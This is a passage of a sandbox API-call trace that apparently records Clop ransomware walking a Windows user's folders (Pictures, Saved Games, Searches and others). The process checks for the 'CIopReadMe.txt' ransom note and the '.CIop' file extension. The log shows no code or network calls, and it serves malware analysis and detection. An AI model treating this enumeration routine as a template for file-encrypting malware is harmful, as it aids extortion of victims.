returned 1 [0138.526] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.526] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.526] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.526] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.526] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2="..") returned 1 [0138.526] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2=".") returned 1 [0138.526] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0138.526] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0138.526] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0138.526] SetErrorMode (uMode=0x1) returned 0x1 [0138.526] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0138.526] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0138.526] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0138.526] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0138.526] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e6b8 [0138.526] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0138.526] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0138.526] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.526] lstrlenW (lpString=".CIop") returned 5 [0138.527] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0138.527] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0138.527] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e6b8 [0138.527] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0138.527] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0138.527] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.527] lstrcmpW (lpString1="Camera Roll", lpString2="..") returned 1 [0138.527] lstrcmpW (lpString1="Camera Roll", lpString2=".") returned 1 [0138.527] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0138.527] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0138.527] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0138.527] SetErrorMode (uMode=0x1) returned 0x1 [0138.527] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0138.527] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0138.527] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0138.527] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0138.527] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e6b8 [0138.527] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0138.527] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0138.527] lstrlenW (lpString="desktop.ini") returned 11 [0138.528] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0138.528] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0138.528] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e6b8 [0138.528] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0138.528] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0138.528] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.528] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.528] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.528] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.528] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.528] lstrcmpW (lpString1="Saved Pictures", lpString2="..") returned 1 [0138.528] lstrcmpW (lpString1="Saved Pictures", lpString2=".") returned 1 [0138.528] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0138.528] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0138.528] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0138.528] SetErrorMode (uMode=0x1) returned 0x1 [0138.528] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0138.528] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0138.528] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0138.528] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0138.528] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e6b8 [0138.528] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0138.528] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0138.528] lstrlenW (lpString="desktop.ini") returned 11 [0138.528] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0138.529] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0138.529] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e6b8 [0138.529] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0138.529] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0138.529] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.529] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.529] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.529] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.529] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.529] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0138.529] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0138.529] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.529] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.529] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0138.529] SetErrorMode (uMode=0x1) returned 0x1 [0138.530] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0138.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0138.530] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0138.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0138.530] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.530] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0138.530] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0138.530] lstrlenW (lpString=".CIop") returned 5 [0138.530] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.530] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.530] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.530] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0138.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0138.530] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.530] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0138.530] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0138.530] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0138.530] SetErrorMode (uMode=0x1) returned 0x1 [0138.530] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0138.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0138.530] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0138.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0138.530] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.530] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0138.530] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0138.530] lstrlenW (lpString=".CIop") returned 5 [0138.531] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.531] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.531] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.531] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0138.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0138.531] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.531] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0138.531] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0138.531] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0138.531] SetErrorMode (uMode=0x1) returned 0x1 [0138.531] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0138.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0138.531] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0138.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0138.531] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.531] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0138.531] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0138.531] lstrlenW (lpString="desktop.ini") returned 11 [0138.531] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0138.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0138.531] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.531] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0138.531] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0138.532] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.532] lstrcmpW (lpString1="Searches", lpString2="..") returned 1 [0138.532] lstrcmpW (lpString1="Searches", lpString2=".") returned 1 [0138.532] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.532] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.532] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0138.532] SetErrorMode (uMode=0x1) returned 0x1 [0138.532] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0138.532] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0138.532] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0138.532] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0138.532] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.532] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0138.532] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0138.532] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.532] lstrlenW (lpString="desktop.ini") returned 11 [0138.532] lstrlenW (lpString=".CIop") returned 5 [0138.532] lstrlenW (lpString=".CIop") returned 5 [0138.532] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0138.532] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0138.532] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.533] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0138.533] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0138.533] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.533] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0138.533] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0138.533] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.533] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.533] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0138.533] SetErrorMode (uMode=0x1) returned 0x1 [0138.533] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0138.533] lstrcatW (in: 